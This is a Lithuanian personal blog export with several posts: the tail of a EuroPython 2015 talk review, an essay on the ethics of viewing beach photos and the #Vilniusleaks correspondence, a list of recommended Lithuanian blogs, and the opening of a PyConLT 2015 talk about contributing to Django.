<a href="http://2.bp.blogspot.com/-tpZLiJn9xQw/Ve9OvQcL2nI/AAAAAAAABHM/N6ieSi6bpE4/s1600/ep2015-0034.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="227" src="http://2.bp.blogspot.com/-tpZLiJn9xQw/Ve9OvQcL2nI/AAAAAAAABHM/N6ieSi6bpE4/s320/ep2015-0034.jpg" width="320" /></a></div>
<br />
Labiausiai įstrigo tai, kad lenkai apsimelavo. Reklamuodami savo PyconPL, jie teigė, kad Lietuvoje PyconLT šiemet buvo rengiama pirmą kartą (Iš tikro pirmą kartą buvo rengiama 2009). Nepaisant melo, aš vis tiek myliu lenkus ir jiems reikia leisti rašyti vardus lenkiškomis raidėmis.
<br />
<a href="http://pybenchmarks.org/">http://pybenchmarks.org/</a>
<br />
<a href="http://pl.pycon.org/2015/index.html">http://pl.pycon.org/2015/index.html</a>
<br />
<a href="http://pycon.lt/2009.html">http://pycon.lt/2009.html</a>
<br />
<a href="https://pypi.python.org/pypi/manhole">https://pypi.python.org/pypi/manhole</a>
<br />
<br />
<h4>
2015-07-24: Keynote: So, I have all these Docker containers, now what?
</h4>
<a href="https://ep2015.europython.eu/conference/talks/keynote-so-i-have-all-these-docker-containers-now-what">https://ep2015.europython.eu/conference/talks/keynote-so-i-have-all-these-docker-containers-now-what</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-oEh8zxP3vcA/Ve9Ovpjv05I/AAAAAAAABGU/NaISM59g26g/s1600/ep2015-0035.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="271" src="http://1.bp.blogspot.com/-oEh8zxP3vcA/Ve9Ovpjv05I/AAAAAAAABGU/NaISM59g26g/s320/ep2015-0035.jpg" width="320" /></a></div>
<br />
Pristatė <i>Google Kubernetes</i>. Tai tarsi alternatyva <i>Apache Mesos</i>. Aš nelaibai šituose dalykuose gaudausi. Kažkiek intuityviai suvokiu, bet ne tiek, kad anglišką wikipedia apibrėžimą parašyčiau suprantama lietuvių kalbą. Dėl to jums teks internete pasiieškoti informacijos patiems.
<br />
<br />
Kalba nepatiko, nes pranešėja nebuvo pasiruošus. Tik pirmose keliose skaidrėse buvo parašyta Python. Visur kitur buvo parašyta PHP. Kas reiškia, kad ji keliauja per visas konferencijas iš eilės ir reklamuoja <i>Google Kubernetes</i>.
<br />
<a href="http://kubernetes.io/">http://kubernetes.io/</a>
<br />
<a href="http://mesos.apache.org/">http://mesos.apache.org/</a>
<br />
<a href="http://research.google.com/pubs/pub43438.html">http://research.google.com/pubs/pub43438.html</a>
<br />
<br />
<h4>
2015-07-24: Surviving the awkward adolescence of a microservices-based application
</h4>
<a href="https://ep2015.europython.eu/conference/talks/arrested-development-surviving-the-awkward-adolescence-of-a-microservices-based-application">https://ep2015.europython.eu/conference/talks/arrested-development-surviving-the-awkward-adolescence-of-a-microservices-based-application</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vqsfxh6ZYQE/Ve9OwM9z9wI/AAAAAAAABGk/8vi7HXNUZsY/s1600/ep2015-0036.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-vqsfxh6ZYQE/Ve9OwM9z9wI/AAAAAAAABGk/8vi7HXNUZsY/s320/ep2015-0036.jpg" width="290" /></a></div>
<br />
Pasakojimas kaip <i>Yelp</i> pakeitė savo monolitinę aplikaciją į mikro servisus. Paskutinė konferencijos diena, tai aš buvau jau šiek tiek išsekęs ir nelabai dėmesingas ir nieko neatsimenu.<br />
<br />
Kažkokia įdomesnė nuoroda. Protokolas/įrankis kaip aprašyti savo REST API formalia kalba:
<br />
<a href="http://swagger.io/">http://swagger.io/</a>
<br />
<br />
<h4>
2015-07-24: Big Data with Python & Hadoop
</h4>
<a href="https://ep2015.europython.eu/conference/talks/big-data-with-python-hadoop">https://ep2015.europython.eu/conference/talks/big-data-with-python-hadoop</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-tS7xM4LiGHY/Ve9OwQVnytI/AAAAAAAABGg/kBrjtidZWDQ/s1600/ep2015-0037.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="http://4.bp.blogspot.com/-tS7xM4LiGHY/Ve9OwQVnytI/AAAAAAAABGg/kBrjtidZWDQ/s320/ep2015-0037.jpg" width="320" /></a></div>
<br />
Pranešimas gal ir turėjo būti įdomus, bet moderatorius viską sugriovė. Likus 20 minučių iki pranešimo pabaigos pranešėjui pasakė, kad liko 5 minutės. Tas tada pradėjo šokinėti tarp skaidrių ir pasakė išvadas. Tada moderatorius išsiaiškino, kad liko dar 15 minučių, pranešėjas bandė tęsti pranešimą. Bet visiška marmalynė gavosi.
<br />
<br />
<h4>
2015-07-24: Demystifying Mixins with Django
</h4>
<a href="https://ep2015.europython.eu/conference/talks/demystifying-mixins-with-django">https://ep2015.europython.eu/conference/talks/demystifying-mixins-with-django</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-iEk70tPzXB8/Ve9OxMeq0EI/AAAAAAAABHE/6oGJ7WDDEes/s1600/ep2015-0038.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://2.bp.blogspot.com/-iEk70tPzXB8/Ve9OxMeq0EI/AAAAAAAABHE/6oGJ7WDDEes/s320/ep2015-0038.jpg" width="296" /></a></div>
<br />
Labai paprastutė kalba apie multi paveldėjimą ir kaip tą panaudoti Django karkaso aplikacijose.
<br />
<a href="https://github.com/brack3t/django-braces">https://github.com/brack3t/django-braces</a>
<br />
<br />
<h4>
2015-07-24: FOSS DOCS 101 (keep it simple, present!)
</h4>
<a href="https://ep2015.europython.eu/conference/talks/foss-docs-101-keep-it-simple-present">https://ep2015.europython.eu/conference/talks/foss-docs-101-keep-it-simple-present</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-LbtWH9XYouY/Ve9OxZUFutI/AAAAAAAABGs/7Het0QUpBSg/s1600/ep2015-0039.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="215" src="http://1.bp.blogspot.com/-LbtWH9XYouY/Ve9OxZUFutI/AAAAAAAABGs/7Het0QUpBSg/s320/ep2015-0039.jpg" width="320" /></a></div>
<br />
Profesonali dokumentacijos rašytoja pasakojo, kaip rašyti dokumentaciją. Geri patarimai, bet man buvo baisiai nuobodu. Bet jeigu būčiau kreipęs dėmesį į jos patarimus, tai netgi šis mano įrašas būtų aukštesnės kokybės.
<br />
<br />
<h4>
2015-07-24: Writing Domain Specific Languages with Python
</h4>
<a href="https://ep2015.europython.eu/conference/talks/the-unabridged-guide-to-domain-specific-languages-in-python">https://ep2015.europython.eu/conference/talks/the-unabridged-guide-to-domain-specific-languages-in-python</a>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-IjORifPOkiU/Ve9Oxy5_z1I/AAAAAAAABG8/aLclkIb6mVo/s1600/ep2015-0040.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="231" src="http://1.bp.blogspot.com/-IjORifPOkiU/Ve9Oxy5_z1I/AAAAAAAABG8/aLclkIb6mVo/s320/ep2015-0040.jpg" width="320" /></a></div>
<br />
Ir netikėtai pačiam gale pasisekė išgirsti, mano manymu, patį geriausią konferencijos pranešimą. Apie tai, kaip su Python kurti specialiąsias kalbas, tinkamas tik tam tikrai specifiniam sričiai.
<br />
<br />
Labai rekomenduoju.
<br />
<br />
Kalbą galima skirstyti į dvi dalis. Pirma, apie tai, kaip panaudoti pačią Python sintaksę ir meta programavimo įrankius, norint sukurti specialiąsias kalbas, kurios galiausiai yra validus Python kodas. Antra, dalis apie Python bibliotekas ir įrankius, bet kokios kalbos interpretatoriaus kūrimui.
<br />
<a href="https://www.python.org/dev/peps/pep-3115/">https://www.python.org/dev/peps/pep-3115/</a>
<br />
<a href="https://www.python.org/dev/peps/pep-0343/">https://www.python.org/dev/peps/pep-0343/</a>
<br />
<a href="https://docs.python.org/3.5/library/ast.html">https://docs.python.org/3.5/library/ast.html</a>
<br />
<a href="http://www.dabeaz.com/ply/">http://www.dabeaz.com/ply/</a>
<br />
<a href="http://dinosaur.compilertools.net/">http://dinosaur.compilertools.net/</a>
<br />
<br />
<h4>
2015-07-24: Closing
</h4>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-jwaaJh8YBBw/Ve9Oy-RysvI/AAAAAAAABHA/kE_Inqf8rbQ/s1600/ep2015-0042.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-jwaaJh8YBBw/Ve9Oy-RysvI/AAAAAAAABHA/kE_Inqf8rbQ/s320/ep2015-0042.jpg" width="225" /></a></div>
<br />
Vėl depresinis pasakojimas, kaip buvo sunku organizuoti ir paimti iš mūsų, dalyvių, tuos eurus. Vėl vertė visus jaustis kaltais, kad tie dalyvauja EuroPython konferencijoje. Ir tada paskelbė, kad kitais metais konferencija vėl vyks Bilbao ir jie ją vėl organizuos.
<br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">[1] <a href="http://petraszd.blogspot.com/2014/08/europython-2014-apzvalga-sau.html">http://petraszd.blogspot.com/2014/08/europython-2014-apzvalga-sau.html</a></span>
<br />
<span style="font-size: x-small;">[2] <a href="https://en.wikipedia.org/wiki/Pincho">https://en.wikipedia.org/wiki/Pincho</a></span>
<br />
<span style="font-size: x-small;">[3] <a href="http://martinfowler.com/articles/microservices.html">http://martinfowler.com/articles/microservices.html</a></span>
<br />
<span style="font-size: x-small;">[4] <a href="https://en.wikipedia.org/wiki/Microservices">https://en.wikipedia.org/wiki/Microservices</a></span>
<br />
<span style="font-size: x-small;">[5] <a href="https://ep2014.europython.eu/en/schedule/sessions/121/">https://ep2014.europython.eu/en/schedule/sessions/121/</a></span>
<br />
<span style="font-size: x-small;">[6] <a href="http://mypy-lang.org/">http://mypy-lang.org/</a></span>
<br />
<span style="font-size: x-small;">[7] <a href="https://docs.python.org/3/library/asyncio.html">https://docs.python.org/3/library/asyncio.html</a></span>
Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com2tag:blogger.com,1999:blog-1632656242730180910.post-8293107519181672262015-07-17T01:22:00.001+03:002015-07-17T01:22:20.676+03:00#Vilniusleak ir maudymosi kostiumėliai<span style="font-size: x-small;">(Čia bus apie #Vilniusleaks ir apie "Air Lituanica". Bet pradžioje bus apie pusnuoges moteris)</span><br /><br />Artėja vasaros savaitgalis. Naujienų portaluose vėl pasipils lyg ir straipsniai, lyg ir apie orą, lyg ir apie pajūrį, bet iš esmės tai priedanga, leidžianti privarširuoti naujienų portalus nuotraukų albumų su jaunomis moterimis, dėvinčiomis maudymosi kostiumėlius. Kad nebūtų visiškai akivaizdu, bus pridėta apie 20% vyrų ir/ar nelabai jaunų moterų nuotraukų.<br /><br />Aš turiu klausimą, į kurį pats nelabai galėčiau atsakyti: ar yra moralu vartyti tuos nuotraukų albumus? Nesupraskite manęs klaidingai, aš mėgstu pusnuogių merginų nuotraukas (Kažkaip labai negalantiškai skamba toks pareiškimas). Bet. Mergina eidama į paplūdimį susitaiko su tuo, kad ji ten išsirengs ir paplūdimyje esantys kiti žmonės galės ją tokią pamatyti. Tuo tarpu ji tikriausiai nesitiki, kad kai ji gulės ant pilvo kur nors kopose trūkus nuo apyšilčio sidro ir karščio smūgio, tai kažkas nufotografuos jos mažai pridengtą užpakalį ir ta nuotrauka iliustruos straipsnį: "Savaitės pradžioje artėja atšalimas". Dar tas straipsnis kabos kurioje nors didžiųjų naujienų portalų svetainėje kelias dienas.<br /><br />Aš suprantu, kad kaip ir legalu fotografuoti, nes vieša vieta. Bet aš nežinau, ar ta mergina tikėjosi, kad visokie kompiuterių žiurkės (kaip kad aš) galės spausti "dedenasi" ant jos nuotraukos ir skaičiuoti apgamus ant kairio jos sėdmens. Kaip taip parašau, tai kažkaip <i>creepy</i> gaunasi. O gali būti, kad aš čia ieškau šiknoj razinų ir viskas čia gerai.<br /><br />Aš žinau, kad yra privatumo/moralumo riba. Tik nežinau, ar tokios nuotraukos tą ribą peržengia. Tikriausia ne -- nereikia būti čia labai didelėmis davatkomis. Kita vertus, aš nesu moteris. Ir manęs visuomenė nespaudžia turėti gražų užpakalį ir gerai mokėti elgtis virtuvėje ten su tais visais įkaitinamais baldais, kad ir kaip jie ten vadintųsi.<br /><br />O už privatumo ir moralumo ribos aiškiai papuola, tarkim, išviešintos privačios nuogų įžymybių nuotraukos [*]<a href="http://www.theguardian.com/world/2014/sep/01/nude-photos-of-jennifer-lawrence-and-others-posted-online-by-alleged-hacker" target="_blank">[1]</a>.<br /><br />Va čia aš prieinu neseniai Edmundo Jakilaičio paviešintą informaciją apie "Air Lituanica" <a href="http://simasius.popo.lt/2015/07/16/truputis-konteksto-vilniusleaks-istorijai/" target="_blank">[2]</a> <a href="https://www.youtube.com/watch?t=57&v=SF4OmiBCMmE" target="_blank">[3]</a> <a href="http://thewallmachine.com/j8aqDo.html#.Vad4EmTRsnJ.facebook" target="_blank">[4]</a> (Autorius, berods, A.Tapinas). Ir mano klausimas yra toks: ar moralu skaityti viešų žmonių privačius pokalbius?<br /><br />Išviešinta (spėkit, ar neperskaičiau) informacija manęs neįtikino, kad nereikėjo uždaryti "Air Lituanica". Aš nesu oro linijų uždarymo/neuždarymo specialistas. Nesu ir verslo pasiūlymų specialistas. Aš tikrai nežinau, kiek tas verslo pasiūlymas yra nutolęs nuo verslo pasiūlymų, kuriuos aš gaunu iš įvairių kilmingų Nigerijos piliečių.<br /><br />Kadangi jau perskaičiau, tai belieka kitas klausimas: ar aš turiu teisę vertinti politikus pagal jų privačių susirašinėjimų fragmentus? Kurie, beje, gražiai ir tikslingai dozuojami. Su pauzėmis -- tikintis, kad meras Šimašius tų pauzių metu, ką nors prisimeluos ir kad tą melą paskui demaskuos kitas susirašinėjimų fragmentų išviešinimas [**].<br /><br />Ar aš turiu leisti politikams privačiuose pokalbiuose kalbėtis, kaip jei nori ir nevertinti jų pagal tuos jų privačius pokalbius. Nes: (A) tie pokalbiai buvo skirti ne man; (B) aš nežinau tų pokalbių konteksto.<br /><br />Jeigu žmogus privačiuose pokalbiuose retkarčiais nenusikeikia; nepasako nieko ciniško; nevykusiai nepajuokauja ar nė kart nenusišneka, tai tikriausiai toks žmogus yra sociapotas ir aš tikrai nenoriu, kad jis būtų politikas ir/ar kad jis dirbtų įtakingame poste.<br /><br />Viešumoje yra privatūs el. susirašinėjimų fragmentai, kurie sudaro įspūdį, kad meras rūpinosi tik viešaisiais ryšiais ir visai nesirūpino nei mokesčių mokėtojų pinigais, nei (o dievulėliau!) PAPRASTU žmogumi. Aš tarsi turėčiau pasirinkti nekreipti dėmesio į tai, nes tas pokalbis yra skirtas ne man ir nežinodamas konteksto aš galiu jį visiškai netinkamai suvokti. Plius, aš dar galiu būti manipuliuojamas šaltinio, kuris viešina ne visą informaciją, o tik fragmentus.<br /><br />Aišku, yra didelis "Jeigu". Aš paprastai balsuoju už Liberalų sąjūdį. Aš niekad nebalsuoju už Socialdemokratų partiją. Jeigu aš pasirenku ignoruoti, ką privačiuose pokalbiuose kalba/rašo Šimašius, tai aš tuo pačiu turiu pasirinkti nekreipti dėmesio į tai, ką pusgirtis Krasnickas prikalbėjo savo žymiajame privačiame pokalbyje <a href="http://www.delfi.lt/archive/nuzdinsiu-milijona-minimum-kiek-galiu-krtis-uz-ta-susta-lietuva-ar-tai-gali-buti-mero-zodziai.d?id=67111286" target="_blank">[5]</a>. Bet aš noriu kreipti dėmesį į Kransnicko sapaliones. Ir aš kreipiu. Ir aš pagal jas (bet ne vien tik pagal jas) vertinu tiek Krasnicką, tiek visą Socialdemokratų partiją.<br /><br />Sunku neturėti dvigubų standartų. Situaciją gelbsti tas dalykas, kad Krasnickas savo pokalbiuose panašu, kad grasino pokalbio įrašinėtojai ir jos vaikui. Kas yra realus nusikaltimas.<br /><br />Tai aš pasirenku ignoruoti šituos Vilniusleak susirašinėjimus. Su sąlyga, kad nepaaiškės niekas nusikalstamo. Bet čia pagal nutylėjimą taip turėtų būti. Čia panašiai, kaip sakyti, kad aš prekybos centre pirksiu pieno, bet tik su sąlyga, kad į pakelį joks pardavėjas nebus privėmęs. Ir pasirenku laikyti Krasnicką chamu. Netgi kenksmingu chamu.<br /><br />Beje, į naujienų portalų pateikiamus nuotraukų albumus, pavadintus kažkas tokio kaip: "<i>-aitė ar tai -ienė išdrįso pasirodyti naujame amplua pikantiškoje fotosesijoje</i>" tai manau, kad moralu žiūrėti, nes fotosesijų dalyvės puikiai supranta, ką daro. Plius, <i>užphotoshopina</i> taip, kad nei vieno apgamo nesimato.<br /><br />----<br /><br />[*] Jeigu jums atrodo, kad galima žiūrėti ir kad "<i>jeigu nenori, kad matytų, tai tegu nesifotografuoja</i>", tai jūs klystate. Kad fiziškai gali kažką atlikti, tai dar nereiškia, jog čia viskas gerai. Aš jums pateiksiu žiauroką pavyzdį: vien tas faktas, kad jūs turite pakankamai fizinės jėgos ir kovos menų įgūdžių pagauti gražią merginą, ją nurengti ir stebeilintis į ją nuogą kelias minutes, tai tas dar nereiškia, kad bus viskas gerai, jeigu taip ir padarysite. Ir kad tada nereiktų jūsų uždaryti į kalėjimą. Kad jums tą patį galėtų atlikti jūsų kameros draugai.<br /><br />[**] Kiek žinau, apsimelavimas dar neįvyko ir aš manau, kad neįvyks. Ir, beje, aš neteigiu, kad Jakilaitis kažkuo blogas. Žurnalistų darbas yra tarkuoti politikus. Ir visi, dabar pykstantys ant Jakilaičio, jį šlovintų ir vadintų žurnalistikos dievu, jeigu anas tą patį būtų padaręs ne su Šimašiumi, o su, pavyzdžiui, Bradausku.<br /><br />----<br /><br />[1] <a href="http://www.theguardian.com/world/2014/sep/01/nude-photos-of-jennifer-lawrence-and-others-posted-online-by-alleged-hacker">http://www.theguardian.com/world/2014/sep/01/nude-photos-of-jennifer-lawrence-and-others-posted-online-by-alleged-hacker</a><br />[2] <a href="http://simasius.popo.lt/2015/07/16/truputis-konteksto-vilniusleaks-istorijai/">http://simasius.popo.lt/2015/07/16/truputis-konteksto-vilniusleaks-istorijai/</a><br />[3] <a href="https://www.youtube.com/watch?t=57&v=SF4OmiBCMmE">https://www.youtube.com/watch?t=57&v=SF4OmiBCMmE</a><br />[4] <a href="http://thewallmachine.com/j8aqDo.html#.Vad4EmTRsnJ.facebook">http://thewallmachine.com/j8aqDo.html#.Vad4EmTRsnJ.facebook</a><br />[5] <a href="http://www.delfi.lt/archive/nuzdinsiu-milijona-minimum-kiek-galiu-krtis-uz-ta-susta-lietuva-ar-tai-gali-buti-mero-zodziai.d?id=67111286">http://www.delfi.lt/archive/nuzdinsiu-milijona-minimum-kiek-galiu-krtis-uz-ta-susta-lietuva-ar-tai-gali-buti-mero-zodziai.d?id=67111286</a><br />Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com3tag:blogger.com,1999:blog-1632656242730180910.post-58611061717360489422015-07-09T23:53:00.000+03:002015-07-09T23:53:27.433+03:00Mano įnašas į blogerių savireklamos savaitęRokiškis inicijavo blogerių savireklamos savaitę <a href="http://rokiskis.popo.lt/2015/07/07/blogeriu-savireklamos-savaite/" target="_blank">[1]</a>. Tai man dabar puiki proga, ką nors parašyti į savo apleistą blogą. Pagrindinė priežastis, kodėl aš jau pakankamai ilgai nesugebėjau parašyti jokio įrašo yra ta, kad aš esu tinginys. O pagrindinis pasiteisinimas, kurį aš naudojau prieš save yra tas, kad <i>"aij -- neturiu apie ką rašyti"</i>.<br /><br />Tai va 12 blogų, kuriuos aš rekomenduoju. Eilės tvarka atsitiktinė.<br /><br /><b>Rokiškis Rabinovičius</b><br /><a href="http://rokiskis.popo.lt/">http://rokiskis.popo.lt/</a><br /><br />Turbūt vienintelis personažas (turbūt pseudonimas sakyti būtų teisingiau), kurio paminėjimas moksliniame eksperimente surinktų 100% balų.<br /><br />O tas mokslinis eksperimentas būtų toks:<br />- Surenki žmones<br />- Vardini visokius žinomus žmones (ar žiurkėnus) ir/ar jų pseudonimus<br />- Paprašai prie kiekvieno parašyti po tris asociacijas<br />- Jeigu tarp asociacijų yra žodis "blogas", "blogosfera" ar pan., tai pridedi vieną balą<br />- Jeigu ne, tai nulį<b><br /><br />Jurodivai</b><br /><a href="http://www.jurodivai.lt/">http://www.jurodivai.lt/</a><br /><br />Daug autorių rašo šitą blogą. Aš stengiuosi skaityti. Neretai nesuprantu, ką skaitau, nes trūksta tiek proto, tiek išsilavinimo. Vis tiek skaitau.<br /><br /><b>Aš daktaras, aš žinau</b><br /><a href="http://emilija.popo.lt/">http://emilija.popo.lt/</a><br /><br />Anksčiau frazė "geras daktaras" mano galvoje sukurdavo vyriškio su chalatu vaizdinį. Nes aš garantuotai esu seksistas. Pradėjus skaityti Emilijos (ir Enorcos) blogą dabar galvoja susikuria daktarės moters vaizdas.<br /><b><br />Enorca</b><br /><a href="http://enorca.blogspot.com/">http://enorca.blogspot.com/</a><br /><br />Kaip čia geriau paaiškinti, kodėl reikia skaityti. Nu... Kiekvienas įrašas gali būti sudarytas iš kokių 7-ių totaliai skirtingų temų. Ir jame nebus jokių minties šuolių. Ir viskas skaitysis kaip vientisas nuoseklus tekstas.<br /><br /><b>I Have No Teeth</b><br /><a href="http://ihavenoteeth.com/">http://ihavenoteeth.com/</a><br /><br />Geriausia komiksų piešėja Lietuvoje. Ir visi greitai einate pirkti jos ir knygos dabar pat: <a href="http://www.patogupirkti.lt/knyga/10-litu-Grafine-novele.html">http://www.patogupirkti.lt/knyga/10-litu-Grafine-novele.html</a>. Nes Miglė privalo tapti turtinga. Kitaip pasaulis bus neteisingas.<br /><br /><b>Comics by Gerda Jord</b><br /><a href="http://gerdajord.blogspot.com/">http://gerdajord.blogspot.com/</a><br /><br />
Jeigu "I Have No Teeth" komiksai yra geriausi šiaip. Tai Gerdos komiksai yra geriausi tam tikroje kategorijoje.<br /><br />Toje kategorijoje gerumas vertinamas tokiu algoritmu:<br />- Peržiūri komiksą<br />- Palauki bent jau penkias minutes<br />- Peržiūri komiksą dar kartą<br /><br />Taip skaitant komiksus, Gerdos komiksai yra geriausi. Net geresni už Miglės (Kai lygindamas ir tą, ir aną privalai skaityti dukart).<br /><br />Jums irgi reikia pirkti Gerdos knygą: <a href="http://www.patogupirkti.lt/knyga/10-litu-Grafine-novele.html">http://www.patogupirkti.lt/knyga/10-litu-Grafine-novele.html</a>. Nes Gerda turi turtėti, kaip ir Miglė.<br /><br /><b>Pamiršta.lt</b><br /><a href="http://pamirsta.lt/">http://pamirsta.lt/</a><br /><br />Kažkaip jaučiu silpnybę apleistų pastatų tiek nuotraukoms, tiek piešiniams, tiek kitiems meno kūriniams (pvz.: kompiuteriniai žaidimai).<br /><br />Ir beveik garantuoju, kad vieną dieną atsidursiu policijos įskaitoje, nes netyčia įsilaušių į kokį pusiau apleistą kokios nors bobutė skladuką. Ir vedamas policijos aiškinsiu: "Jūs neturite teisės, aš urbaninis aksploireris". Tiesiog aš norėsiu būti toks kietas, kaip Pamiršta.lt komanda, bet trūks tiek įgūdžių, tiek elementaraus supratimo apie tai, ką darau.<br /><br /><b>Vitalijaus Michalovskio blogas</b><br /><a href="http://mvitalijus.blogspot.com/">http://mvitalijus.blogspot.com/</a><br /><br />"Istorijos įdomybių" autoriaus asmeninis blogas. Ilgesni tekstai. Kartais yra subjektyvumo nesutinkamo įdomybėse.<br /><br /><b>Leo Lenox</b><br /><a href="http://www.leolenox.com/">http://www.leolenox.com</a><br /><br />Nevisada suprantu, ką perskaitau. Bet kai perskaitau jaučiuosi protingesnis. Tai ir skaitau.<br /><br /><b>Ingrida Šimonytė</b><br /><a href="http://simonyte.popo.lt/">http://simonyte.popo.lt/</a><br /><br />Čia turbūt vienintelis blogas, kurį skaitydamas aš išjungiu muziką, jeigu klausomoj muzikoje yra per daug vokalo. Kad netrukdytų skaityti.<br /><br />Visų kitų blogerių reiktų atsiprašyti, nes jeigu aš skaitau jų tekstą ir tuo metu klausomoje muzikoje kas nors gerai plėšia priedainį, tai aš irgi pradedu kriokti dainos žodžius ir pusė teksto būna perskaityta atmestinai.<br /><b><br />Auksiniai berniukai</b><br /><a href="http://www.pinigukarta.lt/podcasts/auksiniai-berniukai">http://www.pinigukarta.lt/podcasts/auksiniai-berniukai</a><br /><br />Aš esu senovinis žmogus. Dėl to aš nepripažįstu jokių "Podcast'ų". Aš vietoje šito termino naudoju "audio blogas". O Auksiniai berniukai yra geriausias audio blogas Lietuvoje.<br /><br /><b>Skirmantas Tumelis</b><br /><a href="http://www.skirmantas-tumelis.lt/">http://www.skirmantas-tumelis.lt/</a><br /><br />Jeigu reiktų paaiškinti, kodėl skaitau šitą blogą, turbūt sugalvočiau kokią protingą priežastį. Bet ji būtų melas.<br /><br />Aš šitą blogą skaitau, nes paskaitęs kažkaip pradedu labiau tikėti žmonija. Negaliu paaiškinti kodėl.<br /><br /><br />O pabaigai aš prižadėsiu, kad dažniau rašysiu į savo blogą. Kadangi esu jau tą prisižadėjęs bent jau kelis kartus, tai nepamaišys dar kartą pažadėti.<br />
<br /><span style="font-size: x-small;"><br />[1] <a href="http://rokiskis.popo.lt/2015/07/07/blogeriu-savireklamos-savaite/">http://rokiskis.popo.lt/2015/07/07/blogeriu-savireklamos-savaite/</a></span><br />Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com1tag:blogger.com,1999:blog-1632656242730180910.post-25924660279995709472015-05-05T00:00:00.002+03:002015-05-05T00:00:18.841+03:00PyConLT 2015: Mano atviro kodo veiklaMano pranešimo, sakyto PyConLt [0] 2015 metu tekstas.<b> </b>Kadangi teksto mintinai nesimokinau, tai jis šiek tiek skiriasi nuo to, kurį realiai pasakojau.<br />
<br />
[0] <a href="http://pycon.lt/" target="_blank">http://pycon.lt/</a><br />
<br />
Skaidrės:<br />
<iframe allowfullscreen="true" frameborder="0" height="299" mozallowfullscreen="true" src="https://docs.google.com/presentation/d/1lT6YZD0NTMu0ZPN1tGXDHKCv_4hUPoVQDe66q262SFA/embed?start=false&loop=false&delayms=3000" webkitallowfullscreen="true" width="480"></iframe>
<br />
<br />
<b>Įžanga</b><br />
<br />
Šiandieną aš jums šiek tiek papasakosiu apie savo atviro kodo veiklą. Tiksliau kažkurią jos dalį. Pradžioje norėjau temą pavadinti "Mano atviro kodo veikla arba vieno atnaujinimo istorija". Bet tokia tema atsiduoda klišiniu sovietinių laikraščių pavadinimu.<br />
<br />
Dar norėjau pavadinti pagal Lietuvos žiniasklaidoje įprastas pavadinimų konstravimo gaires. Ką nors tokio, kaip "Programuotojas pabandė dalyvauti Django ekosistemoje ir neslėpdamas agonijos nustebo". Bet paskui nusprendžiau, kad gal kiti neskaito tiek daug Lietuvos naujienų portalų kaip aš. Tai palikau pretenzingą pavadinimą "Mano atviro kodo veikla".<br />
<br />
<b>Apie ką</b><br />
<br />
Šitas pranešimas bus nelabai techniškas. Jis bus apie tą "vieno atnaujinimo istoriją", kurios paminėjimo neliko pavadinime.<br />
<br />
Tai bus istorija apie mano vieną kodo pakeitimą, kuris galiausiai pateko į Django kodo bazę. Ta istorija turės įrodyti, kad prie atviro kodo projektų (net ir tokių svarbių ir garsių kaip web karkasas Django) gali dirbti ir gana nestabilios... Ir nevisai stabilių ir ne visada adekvačių poelgių žmogus. Toks kaip aš. O jei jau galiu aš, tai reiškia, kad jūs tai jau tikrai galite. Žinoma, neprivalot.<br />
<br />
<b>Atnaujinimas</b><br />
<br />
Štai čia ir yra visas tas mano Django kodo atnaujinimas. Apie kurį aš jums papasakosiu.<br />
<br />
Jo. Šita viena raidė. Aš pasakosiu apie vieną raidę.<br />
<br />
<b>EuroPython 2014</b><br />
<br />
Istorija prasideda 2014-aisiais metais. Aš buvau EuroPython 2014 konferencijoje. Man patiko. Konferencija trunka 7 dienas. 5 pirmos konferencijos dienos yra pranešimų dienos. Paskutinės 2 konferencijos dienos yra skirtos atviro kodo projektų sprintams.<br />
<br />
Kodo sprinto apibrėžimas. Tai nėra, kad gale konferencijos visiems moksliukams-programuotojams liepia greitai bėgti trumpas distancijas. Ir visi geek'ai ir kompiuterastai bėga suplūkę ir šnopuoja. O žiūrovai rodo pirštais, juokiasi ir už gerą reginį aukoja pinigus atviram kodui. Ne. Kodo sprintai nėra tai.<br />
<br />
Atviro kodo sprintas šiek tiek primena SCRUM sprintą. Tai grupės žmonių susibėgimas (virtualiai ar gyvai) ir bendras darbas ties kažkokiu projektu ar projekto dalimi. Apibrėžtas laike. Tarkim, EuroPython 2014 būna 2 dienos.<br />
<br />
Labai gerai dalykas. Tokia svarbi konferencija kaip EuroPython beveik garantuoja, kad bus projektų <i>core</i> programuotojai. Ir jie galės padėti įsivažiuoti ir greitai priimti pakeitimus.<br />
<br />
Kas labai svarbu pradedantiesiems, nes labai lengva numušti entuziazmą, ilgomis laukimo pauzėmis.<br />
<br />
<b>Django kodo sprintas: nuorodos</b><br />
<br />
Dabar pauzė istorijoje. Dabar aš šiek tiek supažindinsiu jus, kaip pradėti krapštytis prie Django projekto.<br />
<br />
Dokumentacija. Django laimi dėl dokumentacijos. Tarkim, kartais sunku Python naujokui, norinčiam pradėti dirbti prie internetinių projektų, rekomenduoti ką nors kito nei Django. Ne dėl to, kad aš manyčiau, jog Django yra geriausias web karkasas. Beje, aš nemanau, kad jis geriausias.<br />
<br />
